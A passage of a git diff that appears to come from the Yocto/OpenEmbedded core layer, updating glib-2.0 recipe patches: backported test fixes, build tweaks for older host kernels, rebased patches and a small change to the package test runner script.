+index 6ee775e..8bc5fa7 100644
--- a/meson.build
+++ b/meson.build
-@@ -1692,7 +1692,7 @@ atomicdefine = '''
+@@ -1938,7 +1938,7 @@ atomicdefine = '''
# We know that we can always use real ("lock free") atomic operations with MSVC
if cc.get_id() == 'msvc' or cc.get_id() == 'clang-cl' or cc.links(atomictest, name : 'atomic ops')
have_atomic_lock_free = true
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-meson.build-do-not-enable-pidfd-features-on-native-g.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-meson.build-do-not-enable-pidfd-features-on-native-g.patch
new file mode 100644
index 0000000000..14dcb278e0
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-meson.build-do-not-enable-pidfd-features-on-native-g.patch
@@ -0,0 +1,29 @@
+From 294f3e6e9a0a9f4733e85ed6810d1b743055370b Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sat, 16 Sep 2023 22:28:27 +0200
+Subject: [PATCH] meson.build: do not enable pidfd features on native glib
+ builds
+
+We still use host distros like alma 8 with kernels older than 5.4,
+where these features are not implemented.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ meson.build | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/meson.build b/meson.build
+index 8bc5fa7..df1fa60 100644
+--- a/meson.build
++++ b/meson.build
+@@ -981,7 +981,8 @@ if cc.links('''#include <sys/syscall.h>
+ waitid (P_PIDFD, 0, &child_info, WEXITED | WNOHANG);
+ return 0;
+ }''', name : 'pidfd_open(2) system call')
+- glib_conf.set('HAVE_PIDFD', 1)
++ #requires kernel 5.4+
++ #glib_conf.set('HAVE_PIDFD', 1)
+ endif
+
+ # Check for __uint128_t (gcc) by checking for 128-bit division
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch b/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch
index 1c645f3a9a..6dff5179c7 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch
@@ -1,11 +1,10 @@
-From 79ce7e545dd3a93f77d2146d50b6fa061fbceed9 Mon Sep 17 00:00:00 2001
+From 50636758c73e5e61212a8f801c6c602b8aab5ba7 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 3 Oct 2017 10:45:55 +0300
Subject: [PATCH] Do not hardcode python path into various tools
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
---
gio/gdbus-2.0/codegen/gdbus-codegen.in | 2 +-
gobject/glib-genmarshal.in | 2 +-
@@ -23,7 +22,7 @@ index 67d3675..4e92a7a 100755
# GDBus - GLib D-Bus Library
#
diff --git a/gobject/glib-genmarshal.in b/gobject/glib-genmarshal.in
-index 7380f24..c8abeaa 100755
+index aa5af43..56e8e2e 100755
--- a/gobject/glib-genmarshal.in
+++ b/gobject/glib-genmarshal.in
@@ -1,4 +1,4 @@
@@ -33,7 +32,7 @@ index 7380f24..c8abeaa 100755
# pylint: disable=too-many-lines, missing-docstring, invalid-name
diff --git a/gobject/glib-mkenums.in b/gobject/glib-mkenums.in
-index 91ad779..3ebef62 100755
+index 353e53a..8ed6c39 100755
--- a/gobject/glib-mkenums.in
+++ b/gobject/glib-mkenums.in
@@ -1,4 +1,4 @@
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch b/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
deleted file mode 100644
index 41ecfa1df8..0000000000
--- a/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
+++ /dev/null
@@ -1,121 +0,0 @@
-From 7cde170afe6854d674b50e32b4c1d3b511be9abe Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Mon, 9 Nov 2015 11:07:27 +0200
-Subject: [PATCH] Enable more tests while cross-compiling
-
-Upstream disables a few tests while cross-compiling because their build requires
-running other built binaries. This usually makes sense but in the cross-compile
-case we can depend on glib-2.0-native.
-
-Upstream-Status: Inappropriate [OE specific]
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
----
- gio/tests/meson.build | 24 ++++++++++++------------
- 1 file changed, 12 insertions(+), 12 deletions(-)
-
-diff --git a/gio/tests/meson.build b/gio/tests/meson.build
-index 788cf97..dab65d2 100644
---- a/gio/tests/meson.build
-+++ b/gio/tests/meson.build
-@@ -203,7 +203,7 @@ if host_machine.system() != 'windows'
-
- # Test programs that need to bring up a session bus (requires dbus-daemon)
- have_dbus_daemon = find_program('dbus-daemon', required : false).found()
-- if have_dbus_daemon
-+ if true
- annotate_args = [
- '--annotate', 'org.project.Bar', 'Key1', 'Value1',
- '--annotate', 'org.project.Bar', 'org.gtk.GDBus.Internal', 'Value2',
-@@ -548,12 +548,12 @@ if installed_tests_enabled
- endforeach
- endif
-
--if not meson.is_cross_build() or meson.has_exe_wrapper()
-+if meson.is_cross_build()
-
- plugin_resources_c = custom_target('plugin-resources.c',
- input : 'test4.gresource.xml',
- output : 'plugin-resources.c',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--generate-source',
-@@ -577,7 +577,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- test_gresource = custom_target('test.gresource',
- input : 'test.gresource.xml',
- output : 'test.gresource',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--sourcedir=' + meson.current_build_dir(),
-@@ -588,7 +588,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- test_resources2_c = custom_target('test_resources2.c',
- input : 'test3.gresource.xml',
- output : 'test_resources2.c',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--generate',
-@@ -599,7 +599,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- test_resources2_h = custom_target('test_resources2.h',
- input : 'test3.gresource.xml',
- output : 'test_resources2.h',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--generate',
-@@ -611,7 +611,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- input : 'test2.gresource.xml',
- depends : big_test_resource,
- output : 'test_resources.c',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--sourcedir=' + meson.current_build_dir(),
-@@ -622,7 +622,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- digit_test_resources_c = custom_target('digit_test_resources.c',
- input : '111_digit_test.gresource.xml',
- output : 'digit_test_resources.c',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--sourcedir=' + meson.current_build_dir(),
-@@ -633,7 +633,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- digit_test_resources_h = custom_target('digit_test_resources.h',
- input : '111_digit_test.gresource.xml',
- output : 'digit_test_resources.h',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--generate',
-@@ -668,11 +668,11 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
-
- ld = find_program('ld', required : false)
-
-- if build_machine.system() == 'linux' and cc.get_id() == 'gcc' and objcopy.found() and objcopy_supports_add_symbol and ld.found()
-+ if not meson.is_cross_build()
- test_gresource_binary = custom_target('test5.gresource',
- input : 'test5.gresource.xml',
- output : 'test5.gresource',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--sourcedir=' + meson.current_build_dir(),
-@@ -684,7 +684,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- test_resources_binary_c = custom_target('test_resources_binary.c',
- input : 'test5.gresource.xml',
- output : 'test_resources_binary.c',
-- command : [glib_compile_resources,
-+ command : ['glib-compile-resources',
- '--target=@OUTPUT@',
- '--sourcedir=' + meson.current_source_dir(),
- '--sourcedir=' + meson.current_build_dir(),
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/fix-regex.patch b/meta/recipes-core/glib-2.0/glib-2.0/fix-regex.patch
new file mode 100644
index 0000000000..bdfbd55899
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/fix-regex.patch
@@ -0,0 +1,54 @@
+From cce3ae98a2c1966719daabff5a4ec6cf94a846f6 Mon Sep 17 00:00:00 2001
+From: Philip Withnall <pwithnall@gnome.org>
+Date: Mon, 26 Feb 2024 16:55:44 +0000
+Subject: [PATCH] tests: Remove variable-length lookbehind tests for GRegex
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+PCRE2 10.43 has now introduced support for variable-length lookbehind,
+so these tests now fail if GLib is built against PCRE2 10.43 or higher.
+
+See
+https://github.com/PCRE2Project/pcre2/blob/e8db6fa7137f4c6f66cb87e0a3c9467252ec1ef7/ChangeLog#L94.
+
+Rather than making the tests conditional on the version of PCRE2 in use,
+just remove them. They are mostly testing the PCRE2 code rather than
+any code in GLib, so don’t have much value.
+
+This should fix CI runs on msys2-mingw32, which updated to PCRE2 10.43 2
+days ago.
+
+Signed-off-by: Philip Withnall <pwithnall@gnome.org>
+
+Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/glib/-/commit/cce3ae98a2c1966719daabff5a4ec6cf94a846f6]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ glib/tests/regex.c | 10 ----------
+ 1 file changed, 10 deletions(-)
+
+diff --git a/glib/tests/regex.c b/glib/tests/regex.c
+index 1082526292..d7a698ec67 100644
+--- a/glib/tests/regex.c
++++ b/glib/tests/regex.c
+@@ -1885,16 +1885,6 @@ test_lookbehind (void)
+ g_match_info_free (match);
+ g_regex_unref (regex);
+
+- regex = g_regex_new ("(?<!dogs?|cats?) x", G_REGEX_OPTIMIZE, G_REGEX_MATCH_DEFAULT, &error);
+- g_assert (regex == NULL);
+- g_assert_error (error, G_REGEX_ERROR, G_REGEX_ERROR_VARIABLE_LENGTH_LOOKBEHIND);
+- g_clear_error (&error);
+-
+- regex = g_regex_new ("(?<=ab(c|de)) foo", G_REGEX_OPTIMIZE, G_REGEX_MATCH_DEFAULT, &error);
+- g_assert (regex == NULL);
+- g_assert_error (error, G_REGEX_ERROR, G_REGEX_ERROR_VARIABLE_LENGTH_LOOKBEHIND);
+- g_clear_error (&error);
+-
+ regex = g_regex_new ("(?<=abc|abde)foo", G_REGEX_OPTIMIZE, G_REGEX_MATCH_DEFAULT, &error);
+ g_assert (regex);
+ g_assert_no_error (error);
+--
+GitLab
+
+
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/memory-monitor.patch b/meta/recipes-core/glib-2.0/glib-2.0/memory-monitor.patch
new file mode 100644
index 0000000000..4f38509da6
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/memory-monitor.patch
@@ -0,0 +1,361 @@
+From ce840b6b111e1e109e511f6833d6aa419e2b723a Mon Sep 17 00:00:00 2001
+From: Philip Withnall <philip@tecnocode.co.uk>
+Date: Tue, 23 Jan 2024 11:16:52 +0000
+Subject: [PATCH] Merge branch '2887-memory-monitor-tests' into 'main'
+
+tests: Fix race condition in memory-monitor-dbus.test
+
+Closes #2887
+
+See merge request GNOME/glib!3844
+
+Hopefully these commits fix the occasional failures we've been seeing:
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=15362
+
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ gio/tests/memory-monitor-dbus.py.in | 64 +++++++++++++-------
+ gio/tests/memory-monitor-portal.py.in | 54 ++++++++++-------
+ gio/tests/power-profile-monitor-dbus.py.in | 35 ++++++-----
+ gio/tests/power-profile-monitor-portal.py.in | 34 ++++++-----
+ 4 files changed, 113 insertions(+), 74 deletions(-)
+
+diff --git a/gio/tests/memory-monitor-dbus.py.in b/gio/tests/memory-monitor-dbus.py.in
+index bf32918..7aae01e 100755
+--- a/gio/tests/memory-monitor-dbus.py.in
++++ b/gio/tests/memory-monitor-dbus.py.in
+@@ -16,7 +16,6 @@ import sys
+ import subprocess
+ import fcntl
+ import os
+-import time
+
+ import taptestrunner
+
+@@ -57,53 +56,74 @@ try:
+ fcntl.fcntl(self.p_mock.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK)
+ self.last_warning = -1
+ self.dbusmock = dbus.Interface(self.obj_lmm, dbusmock.MOCK_IFACE)
++
++ try:
++ self.wait_for_bus_object('org.freedesktop.LowMemoryMonitor',
++ '/org/freedesktop/LowMemoryMonitor',
++ system_bus=True)
++ except:
++ raise
++
+ self.memory_monitor = Gio.MemoryMonitor.dup_default()
++ assert("GMemoryMonitorDBus" in str(self.memory_monitor))
+ self.memory_monitor.connect("low-memory-warning", self.memory_warning_cb)
+ self.mainloop = GLib.MainLoop()
+ self.main_context = self.mainloop.get_context()
+
++ # The LowMemoryMonitor API is stateless: it doesn’t expose any
++ # properties, just a warning signal. Emit the signal in a loop until
++ # the GMemoryMonitor instance has initialised and synchronised to
++ # the right state.
++ def emit_warning(level):
++ self.dbusmock.EmitWarning(level)
++ return GLib.SOURCE_CONTINUE
++
++ idle_id = GLib.idle_add(emit_warning, 0)
++ while self.last_warning != 0:
++ self.main_context.iteration(True)
++ GLib.source_remove(idle_id)
++
+ def tearDown(self):
+ self.p_mock.terminate()
+ self.p_mock.wait()
+
+- def assertEventually(self, condition, message=None, timeout=50):
++ def assertEventually(self, condition, message=None, timeout=5):
+ '''Assert that condition function eventually returns True.
+
+- Timeout is in deciseconds, defaulting to 50 (5 seconds). message is
++ Timeout is in seconds, defaulting to 5 seconds. message is
+ printed on failure.
+ '''
+- while timeout >= 0:
+- context = GLib.MainContext.default()
+- while context.iteration(False):
+- pass
+- if condition():
+- break
+- timeout -= 1
+- time.sleep(0.1)
+- else:
+- self.fail(message or 'timed out waiting for ' + str(condition))
++ if not message:
++ message = 'timed out waiting for ' + str(condition)
++
++ def timed_out_cb(message):
++ self.fail(message)
++ return GLib.SOURCE_REMOVE
++
++ timeout_source = GLib.timeout_source_new_seconds(timeout)
++ timeout_source.set_callback(timed_out_cb, message)
++ timeout_source.attach(self.main_context)
++
++ while not condition():
++ self.main_context.iteration(True)
++
++ timeout_source.destroy()
+
+ def memory_warning_cb(self, monitor, level):
++ print("Received memory warning signal, level", level)
+ self.last_warning = level
+ self.main_context.wakeup()
+
+ def test_low_memory_warning_signal(self):
+ '''LowMemoryWarning signal'''
+
+- # Wait 2 seconds
+- timeout = 2
+- while timeout > 0:
+- time.sleep(0.5)
+- timeout -= 0.5
+- self.main_context.iteration(False)
+-
+ self.dbusmock.EmitWarning(100)
+ # Wait 2 seconds or until warning
+- self.assertEventually(lambda: self.last_warning == 100, "'100' low-memory warning not received", 20)
++ self.assertEventually(lambda: self.last_warning == 100, "'100' low-memory warning not received", 2)
+
+ self.dbusmock.EmitWarning(255)
+ # Wait 2 seconds or until warning
+- self.assertEventually(lambda: self.last_warning == 255, "'255' low-memory warning not received", 20)
++ self.assertEventually(lambda: self.last_warning == 255, "'255' low-memory warning not received", 2)
+
+ except ImportError as e:
+ @unittest.skip("Cannot import %s" % e.name)
+diff --git a/gio/tests/memory-monitor-portal.py.in b/gio/tests/memory-monitor-portal.py.in
+index 748cee8..f570508 100755
+--- a/gio/tests/memory-monitor-portal.py.in
++++ b/gio/tests/memory-monitor-portal.py.in
+@@ -16,7 +16,6 @@ import sys
+ import subprocess
+ import fcntl
+ import os
+-import time
+
+ import taptestrunner
+
+@@ -80,26 +79,44 @@ try:
+ self.mainloop = GLib.MainLoop()
+ self.main_context = self.mainloop.get_context()
+
++ # The LowMemoryMonitor API is stateless: it doesn’t expose any
++ # properties, just a warning signal. Emit the signal in a loop until
++ # the GMemoryMonitor instance has initialised and synchronised to
++ # the right state.
++ def emit_warning(level):
++ self.dbusmock.EmitWarning(level)
++ return GLib.SOURCE_CONTINUE
++
++ idle_id = GLib.idle_add(self.emit_warning, 0)
++ while self.last_warning != 0:
++ self.main_context.iteration(True)
++ GLib.source_remove(idle_id)
++
+ def tearDown(self):
+ self.p_mock.terminate()
+ self.p_mock.wait()
+
+- def assertEventually(self, condition, message=None, timeout=50):
++ def assertEventually(self, condition, message=None, timeout=5):
+ '''Assert that condition function eventually returns True.
+
+- Timeout is in deciseconds, defaulting to 50 (5 seconds). message is
++ Timeout is in seconds, defaulting to 5 seconds. message is
+ printed on failure.
+ '''
+- while timeout >= 0:
+- context = GLib.MainContext.default()
+- while context.iteration(False):
+- pass
+- if condition():
+- break
+- timeout -= 1
+- time.sleep(0.1)
+- else:
+- self.fail(message or 'timed out waiting for ' + str(condition))
++ if not message:
++ message = 'timed out waiting for ' + str(condition)
++
++ def timed_out_cb(message):
++ self.fail(message)
++ return GLib.SOURCE_REMOVE
++
++ timeout_source = GLib.timeout_source_new_seconds(timeout)
++ timeout_source.set_callback(timed_out_cb, message)
++ timeout_source.attach(self.main_context)
++
++ while not condition():
++ self.main_context.iteration(True)
++
++ timeout_source.destroy()
+
+ def portal_memory_warning_cb(self, monitor, level):
+ self.last_warning = level
+@@ -108,20 +125,13 @@ try:
+ def test_low_memory_warning_portal_signal(self):
+ '''LowMemoryWarning signal'''
+
+- # Wait 2 seconds
+- timeout = 2
+- while timeout > 0:
+- time.sleep(0.5)
+- timeout -= 0.5
+- self.main_context.iteration(False)
+-
+ self.dbusmock.EmitWarning(100)
+ # Wait 2 seconds or until warning
+- self.assertEventually(lambda: self.last_warning == 100, "'100' low-memory warning not received", 20)
++ self.assertEventually(lambda: self.last_warning == 100, "'100' low-memory warning not received", 2)
+
+ self.dbusmock.EmitWarning(255)
+ # Wait 2 seconds or until warning
+- self.assertEventually(lambda: self.last_warning == 255, "'255' low-memory warning not received", 20)
++ self.assertEventually(lambda: self.last_warning == 255, "'255' low-memory warning not received", 2)
+
+ except ImportError as e:
+ @unittest.skip("Cannot import %s" % e.name)
+diff --git a/gio/tests/power-profile-monitor-dbus.py.in b/gio/tests/power-profile-monitor-dbus.py.in
+index 06e594f..f955afc 100755
+--- a/gio/tests/power-profile-monitor-dbus.py.in
++++ b/gio/tests/power-profile-monitor-dbus.py.in
+@@ -16,7 +16,6 @@ import sys
+ import subprocess
+ import fcntl
+ import os
+-import time
+
+ import taptestrunner
+
+@@ -58,6 +57,7 @@ try:
+ self.power_saver_enabled = False
+ self.dbus_props = dbus.Interface(self.obj_ppd, dbus.PROPERTIES_IFACE)
+ self.power_profile_monitor = Gio.PowerProfileMonitor.dup_default()
++ assert("GPowerProfileMonitorDBus" in str(self.power_profile_monitor))
+ self.power_profile_monitor.connect("notify::power-saver-enabled", self.power_saver_enabled_cb)
+ self.mainloop = GLib.MainLoop()
+ self.main_context = self.mainloop.get_context()
+@@ -66,22 +66,27 @@ try:
+ self.p_mock.terminate()
+ self.p_mock.wait()
+
+- def assertEventually(self, condition, message=None, timeout=50):
++ def assertEventually(self, condition, message=None, timeout=5):
+ '''Assert that condition function eventually returns True.
+
+- Timeout is in deciseconds, defaulting to 50 (5 seconds). message is
++ Timeout is in seconds, defaulting to 5 seconds. message is
+ printed on failure.
+ '''
+- while timeout >= 0:
+- context = GLib.MainContext.default()
+- while context.iteration(False):
+- pass
+- if condition():
+- break
+- timeout -= 1
+- time.sleep(0.1)
+- else:
+- self.fail(message or 'timed out waiting for ' + str(condition))
++ if not message:
++ message = 'timed out waiting for ' + str(condition)
++
++ def timed_out_cb(message):
++ self.fail(message)
++ return GLib.SOURCE_REMOVE
++
++ timeout_source = GLib.timeout_source_new_seconds(timeout)
++ timeout_source.set_callback(timed_out_cb, message)
++ timeout_source.attach(self.main_context)
++
++ while not condition():
++ self.main_context.iteration(True)
++
++ timeout_source.destroy()
+
+ def power_saver_enabled_cb(self, spec, data):
+ self.power_saver_enabled = self.power_profile_monitor.get_power_saver_enabled()
+@@ -92,10 +97,10 @@ try:
+
+ self.assertEqual(self.power_profile_monitor.get_power_saver_enabled(), False)
+ self.dbus_props.Set('net.hadess.PowerProfiles', 'ActiveProfile', dbus.String('power-saver', variant_level=1))
+- self.assertEventually(lambda: self.power_saver_enabled == True, "power-saver didn't become enabled", 10)
++ self.assertEventually(lambda: self.power_saver_enabled == True, "power-saver didn't become enabled", 1)
+
+ self.dbus_props.Set('net.hadess.PowerProfiles', 'ActiveProfile', dbus.String('balanced', variant_level=1))
+- self.assertEventually(lambda: self.power_saver_enabled == False, "power-saver didn't become disabled", 10)
++ self.assertEventually(lambda: self.power_saver_enabled == False, "power-saver didn't become disabled", 1)
+
+ except ImportError as e:
+ @unittest.skip("Cannot import %s" % e.name)
+diff --git a/gio/tests/power-profile-monitor-portal.py.in b/gio/tests/power-profile-monitor-portal.py.in
+index 09e9a45..ad2abf6 100755
+--- a/gio/tests/power-profile-monitor-portal.py.in
++++ b/gio/tests/power-profile-monitor-portal.py.in
+@@ -16,7 +16,6 @@ import sys
+ import subprocess
+ import fcntl
+ import os
+-import time
+
+ import taptestrunner
+
+@@ -90,22 +89,27 @@ try:
+ self.p_mock.terminate()
+ self.p_mock.wait()
+
+- def assertEventually(self, condition, message=None, timeout=50):
++ def assertEventually(self, condition, message=None, timeout=5):
+ '''Assert that condition function eventually returns True.
+
+- Timeout is in deciseconds, defaulting to 50 (5 seconds). message is
++ Timeout is in seconds, defaulting to 5 seconds. message is
+ printed on failure.
+ '''
+- while timeout >= 0:
+- context = GLib.MainContext.default()
+- while context.iteration(False):
+- pass
+- if condition():
+- break
+- timeout -= 1
+- time.sleep(0.1)
+- else:
+- self.fail(message or 'timed out waiting for ' + str(condition))
++ if not message:
++ message = 'timed out waiting for ' + str(condition)
++
++ def timed_out_cb(message):
++ self.fail(message)
++ return GLib.SOURCE_REMOVE
++
++ timeout_source = GLib.timeout_source_new_seconds(timeout)
++ timeout_source.set_callback(timed_out_cb, message)
++ timeout_source.attach(self.main_context)
++
++ while not condition():
++ self.main_context.iteration(True)
++
++ timeout_source.destroy()
+
+ def power_saver_enabled_cb(self, spec, data):
+ self.power_saver_enabled = self.power_profile_monitor.get_power_saver_enabled()
+@@ -116,10 +120,10 @@ try:
+
+ self.assertEqual(self.power_profile_monitor.get_power_saver_enabled(), False)
+ self.dbus_props.Set('net.hadess.PowerProfiles', 'ActiveProfile', dbus.String('power-saver', variant_level=1))
+- self.assertEventually(lambda: self.power_saver_enabled == True, "power-saver didn't become enabled", 10)
++ self.assertEventually(lambda: self.power_saver_enabled == True, "power-saver didn't become enabled", 1)
+
+ self.dbus_props.Set('net.hadess.PowerProfiles', 'ActiveProfile', dbus.String('balanced', variant_level=1))
+- self.assertEventually(lambda: self.power_saver_enabled == False, "power-saver didn't become disabled", 10)
++ self.assertEventually(lambda: self.power_saver_enabled == False, "power-saver didn't become disabled", 1)
+
+ def test_power_profile_power_saver_enabled_portal_default(self):
+ '''power-saver-enabled property default value'''
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc
index c4648f58c7..3049e5116e 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc
+++ b/meta/recipes-core/glib-2.0/glib-2.0/meson.cross.d/common-glibc
@@ -3,3 +3,4 @@ have_c99_vsnprintf = true
have_c99_snprintf = true
have_unix98_printf = true
va_val_copy = true
+have_strlcpy = true
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch b/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
index fe87482ae2..3e79bbf679 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/relocate-modules.patch
@@ -1,4 +1,4 @@
-From 2a715765c6ceb2e8b4cc42e060aee75016111d1a Mon Sep 17 00:00:00 2001
+From f40e89b3852df37959606ee13b1a14ade81fa886 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Fri, 11 Mar 2016 15:35:55 +0000
Subject: [PATCH] glib-2.0: relocate the GIO module directory for native builds
@@ -13,38 +13,32 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
Port patch to 2.48
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
---
- gio/giomodule.c | 12 +++++++++++-
- 1 file changed, 11 insertions(+), 1 deletion(-)
+ gio/giomodule.c | 7 -------
+ 1 file changed, 7 deletions(-)
diff --git a/gio/giomodule.c b/gio/giomodule.c
-index c420260..a023745 100644
+index 17fabe6..8021208 100644
--- a/gio/giomodule.c
+++ b/gio/giomodule.c
-@@ -47,6 +47,8 @@
- #include "gmemorymonitordbus.h"
- #ifdef G_OS_WIN32
- #include "gregistrysettingsbackend.h"
-+#else
-+#include <dlfcn.h>
- #endif
- #include <glib/gstdio.h>
-
-@@ -1158,7 +1160,15 @@ get_gio_module_dir (void)
- NULL);
+@@ -1271,11 +1271,6 @@ get_gio_module_dir (void)
g_free (install_dir);
#else
-- module_dir = g_strdup (GIO_MODULE_DIR);
-+ Dl_info info;
-+
-+ if (dladdr (g_io_module_new, &info)) {
-+ char *libdir = g_path_get_dirname (info.dli_fname);
-+ module_dir = g_build_filename (libdir, "gio", "modules", NULL);
-+ g_free (libdir);
-+ } else {
-+ module_dir = g_strdup (GIO_MODULE_DIR);
-+ }
+ module_dir = g_strdup (GIO_MODULE_DIR);
+-#ifdef __APPLE__
+-#include "TargetConditionals.h"
+-/* Only auto-relocate on macOS, not watchOS etc; older macOS SDKs only define TARGET_OS_MAC */
+-#if (defined (TARGET_OS_OSX) && TARGET_OS_OSX) || \
+- (!defined (TARGET_OS_OSX) && defined (TARGET_OS_MAC) && TARGET_OS_MAC)
+ #include <dlfcn.h>
+ {
+ g_autofree gchar *path = NULL;
+@@ -1294,8 +1289,6 @@ get_gio_module_dir (void)
+ }
+ }
+ }
+-#endif
+-#endif
#endif
}
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/run-ptest b/meta/recipes-core/glib-2.0/glib-2.0/run-ptest
index 7a231b514b..831bc3b91f 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/run-ptest
+++ b/meta/recipes-core/glib-2.0/glib-2.0/run-ptest
@@ -5,5 +5,6 @@ if id -u glib2-test; then
userdel glib2-test
fi
useradd glib2-test
-su glib2-test -c 'gnome-desktop-testing-runner glib'
+cd /tmp
+su glib2-test -c 'G_TEST_TMPDIR=`readlink -f /tmp` gnome-desktop-testing-runner glib'
userdel glib2-test
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/skip-timeout.patch b/meta/recipes-core/glib-2.0/glib-2.0/skip-timeout.patch
new file mode 100644
index 0000000000..cd5ac287c3
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/skip-timeout.patch
@@ -0,0 +1,32 @@
+From bb11d1a4ae77d93ec0743e54077cf0f990243fa6 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Thu, 28 Mar 2024 16:27:09 +0000
+Subject: [PATCH] Skip /timeout/rounding test
+
+This test is sensitive to load because it expects certain timeout operations
+to succeed in specific time periods. Whilst these timeouts are fairly large,
+they're still exceeded inside a qemu on a loaded system.
+
+https://bugzilla.yoctoproject.org/show_bug.cgi?id=14464
+
+Upstream-Status: Inappropriate [OE-specific]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ glib/tests/timeout.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/glib/tests/timeout.c b/glib/tests/timeout.c
+index 1ae3f3a34..85a715b0f 100644
+--- a/glib/tests/timeout.c
++++ b/glib/tests/timeout.c
+@@ -214,7 +214,6 @@ main (int argc, char *argv[])
+ g_test_add_func ("/timeout/seconds-once", test_seconds_once);
+ g_test_add_func ("/timeout/weeks-overflow", test_weeks_overflow);
+ g_test_add_func ("/timeout/far-future-ready-time", test_far_future_ready_time);
+- g_test_add_func ("/timeout/rounding", test_rounding);
+
+ return g_test_run ();
+ }
+--
+2.34.1
+
diff --git a/meta/recipes-core/glib-2.0/glib-2.0_2.64.4.bb b/meta/recipes-core/glib-2.0/glib-2.0_2.64.4.bb
deleted file mode 100644
index e4c834caf2..0000000000
--- a/meta/recipes-core/glib-2.0/glib-2.0_2.64.4.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-require glib.inc
-
-PE = "1"
-
-SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/glib/${SHRT_VER}/glib-${PV}.tar.xz \
- file://run-ptest \
- file://0001-Fix-DATADIRNAME-on-uclibc-Linux.patch \
- file://Enable-more-tests-while-cross-compiling.patch \
- file://0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch \
- file://0001-Install-gio-querymodules-as-libexec_PROGRAM.patch \
- file://0001-Do-not-ignore-return-value-of-write.patch \
- file://0010-Do-not-hardcode-python-path-into-various-tools.patch \
